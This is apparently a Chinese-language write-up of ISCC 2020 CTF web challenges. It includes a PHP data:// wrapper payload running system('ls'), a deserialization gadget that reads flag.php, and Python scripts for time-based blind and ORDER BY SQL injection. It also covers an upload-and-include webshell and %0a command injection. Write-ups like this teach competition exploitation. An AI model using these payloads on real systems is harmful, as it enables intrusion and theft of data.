ISCC2020-Web题解

前言:

Where is file?-1

——php伪协议
ISCC2020-Web题解_第1张图片
考察的是php伪协议,可以使用data协议来进行读取

?file=data:text/plain,<?echo system('ls')?>

阿森的爱情-1

——签到

扫描一下出一个文件,里面就有flag

Php is the best language

——PHP反序列化、to_string魔法函数的调用

<?php  
@error_reporting(1);
include 'flag.php';
class baby 
{
    public $file;
    function __toString()      
    {
        if(isset($this->file))
        {
            $filename = "./{$this->file}";
            if (base64_encode(file_get_contents($filename)))
            {
                return base64_encode(file_get_contents($filename));
            }
        }
    }
}
if (isset($_GET['data']))
{
    $data = $_GET['data'];
        $good = unserialize($data);
        echo $good;
}
else 
{
    $url='./index.php';
}

$html='';
if(isset($_POST['test'])){
    $s = $_POST['test'];
    $html.="

谢谢参与!

"
; } ?>

代码很简单,就是__toString的调用

<?php  
class baby 
{
    public $file;
    function __toString()      
    {
        if(isset($this->file))
        {
            $filename = "./{$this->file}";
            if (base64_encode(file_get_contents($filename)))
            {
                return base64_encode(file_get_contents($filename));
            }
        }
    }
}

$a = new baby();
$a->file = 'flag.php';
$a->__tostring();
echo serialize($a);

在这里插入图片描述
解码即可

ISCC成绩查询-2

——绕过token、时间盲注
ISCC2020-Web题解_第2张图片
一开始是一个登陆框,SQL万能密码进不去,抓包发现有token验证,需要进行爆破,虽然没有成功,但在测试的时候发现有这个页面
ISCC2020-Web题解_第3张图片

http://101.201.126.95:7007/flag.php

在这个地方卡了很长时间,还是比较菜,因为这个页面当提交时只回显一个页面,知道是时间盲注,当fuzz就很困难
在这里插入图片描述
然后做不出来郁闷就去做BUU的一道SQL注入,发现跟这题类似,只不过是过滤了空格,然后尝试,发现

?name=1'/**/or/**/if(1=1,sleep(5),1)%23

ISCC2020-Web题解_第4张图片
应答的时间恰好就是5秒,找到测试语句了就写脚本

import requests
import string
import time
import datetime

if __name__ == "__main__":
    chars=string.ascii_letters+string.digits
    url="http://101.201.126.95:7007/flag.php"
    #payload="'/**/or/**/if((ascii(substr(database(),{0},1))={1}),sleep(3),1)%23" #pikachu
    #payload="'/**/or/**/if((ascii(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1),{0},1))={1}),sleep(3),1)%23"#flag
    #payload="'/**/or/**/if((ascii(substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name=\"flag\"/**/limit/**/0,1),{0},1))={1}),sleep(3),1)%23" #flag
    payload="'/**/or/**/if((ascii(substr((select/**/flag/**/from/**/flag/**/limit/**/0,1),{0},1))={1}),sleep(3),1)%23"

    print("value:")
    name=''
    for i in range(1,40):
        char=''
        for j in chars:
            payloads=payload.format(i,ord(j))
            urls=url+"?name="+payloads+"&submit=%E6%9F%A5%E8%AF%A2"
            t1=datetime.datetime.now()
            r=requests.get(url=urls)
            t2=datetime.datetime.now()
            sec = (t2 - t1).seconds
            if sec>=3:
                name+=j
                print(name)
                char=j
                break
        if char=='':
            break

跑脚本就行了

ISCC成绩查询_3

——PHP可逆加密解密算法

这个题没有上一个题的flag的提示很难做出来的
ISCC2020-Web题解_第5张图片
查看页面源代码,发现
ISCC2020-Web题解_第6张图片
百度查到了是PHP可逆加密解密算法
ISCC2020-Web题解_第7张图片
然后直接找到了解密算法
PHP可逆加密解密算法
上一题的flag是flag{sixsixsix},所以这题的key值即为666,解密即可得出

What can images do

——文件上传+文件包含
ISCC2020-Web题解_第8张图片
上传进去,然后发现url中含有filename参数文件包含一下

101.201.126.95:7004/?filename=../uploads/2020/05/17/6161445ec149f81f135785570658.jpg&submit=提交

在这里插入图片描述
连接成功,读取flag就行了,题被搅屎了,之前的木马也被删了,某大佬将权限给改了。

阿森的爱情-2

——括号被过滤、order by注入
ISCC2020-Web题解_第9张图片
这个题虽然是原题,但感觉能学到知识,很有趣,考察的是order by 排序

拿到题先fuzz一下,看看都过滤了哪些
ISCC2020-Web题解_第10张图片
过滤了括号,所以联合查询、盲注不可行了,只能用常规的盲注,查了下发现有到类似的题目
CTF中过滤括号的盲注题小记

可以用union select+order by进行注入,原理就看下博主写的很详细的,在burp中先进行测试,最后发现注入点是在username那里,可以先用burp进行爆破然后观察出规律,然后再写脚本

脚本如下:

import requests
 
url = "http://101.201.126.95:7006/"
 
alist = "0123456789abcdef"
 
payload = ""
payload1 = "admin' union select 1,0,'"
payload2 = "'order by 3#"
datas = {
    "username":"",
    "password":"123",
    "submit":'enter'
    }
tmp_OK = ""
tmp = ""
for j in range(0,32):
    for i in alist:
        payload = payload1+tmp_OK+i+payload2
        datas["username"] = payload
        # print (datas)
        r = requests.post(url=url,data=datas)
        # print (r.text)
        if "admin" in r.text:
            tmp_OK += tmp
            print (tmp_OK)
            break
        if ("0" in r.text) and (i == "f"):
            tmp_OK += i
            print (tmp_OK)
        tmp = i

#username=admin' union select 1,0,'c' order by 3#&password=123&submit=enter

ISCC2020-Web题解_第11张图片

神秘组织的邮件-2

——脚本练习
ISCC2020-Web题解_第12张图片
点击提交数字会发生改变,因为这次的赛制有一个关联,通过上一题
在这里插入图片描述
得出的flag是加键乘除,又提示要联系起来,就想起了之前做有一道秋名山车神那道题,只不过这个题需要将运算符手动添加,脚本如下:

import requests
from bs4 import BeautifulSoup
import re
import time
if __name__ == '__main__':
	  time_start=time.time()
	  url = 'http://101.201.126.95:7010/'
	  headers = {'Cookie': 'PHPSESSID=gi7r1dlq46h0h9j33uphpl23ne'}
	  s =requests.Session()
	  content=s.get(url=url,headers=headers).text
	  # print(content)
	  soup = BeautifulSoup(content,'lxml')
	  li_list = soup.find_all(text=re.compile('\d'))
	  # print(li_list.split('  '))
	  result = [x.strip() for x in li_list if x.strip()!='']
	  # print(result)
	  str = "".join(result)
	  # print(str)
	  a=str.split('  ')
	  numbers = list(map(int, a))
	  print(numbers)
	  payload =numbers[0]+numbers[1]-numbers[2]*numbers[3]/numbers[4]
	  print(payload)
	  data = {
	  	 'result': payload
	  	 #得到/IS20CC20abc%$.txt
	  	}
	  reponse = requests.post(url=url+"/result.php",data=data,headers=headers).text
	  print(reponse)
	  time_end=time.time()
	  print('time cost',time_end-time_start,'s')

脚本思路也很简单,就是利用BeautifulSoup解析出字符串,然后将字符串去除空格再将字符串列表转换为数字列表,提交参数进行运算即可(一开始url没有加上result.php,浪费了好长时间)

ISCC2020-Web题解_第13张图片
如果一开始没跑出来多跑几次就出来了,访问一下
ISCC2020-Web题解_第14张图片
然后就是一脸懵逼,我一直以为还有上面的文件,就扫描各种,结果就这:
ISCC2020-Web题解_第15张图片
直接访问??????????????? 我一万个问号,这我写脚本的意义何在。。。。

我按照正常的来试试吧
ISCC2020-Web题解_第16张图片
出不来。。。。。。。。,实在无语,就这吧,当是锻炼锻炼脚本能力。

阿帅的爱情

——命令执行
ISCC2020-Web题解_第17张图片
过滤了,可以使用%0a来代替,测试一下就发现出来了
ISCC2020-Web题解_第18张图片
ISCC2020-Web题解_第19张图片

你可能感兴趣的:(CTF_Writeup)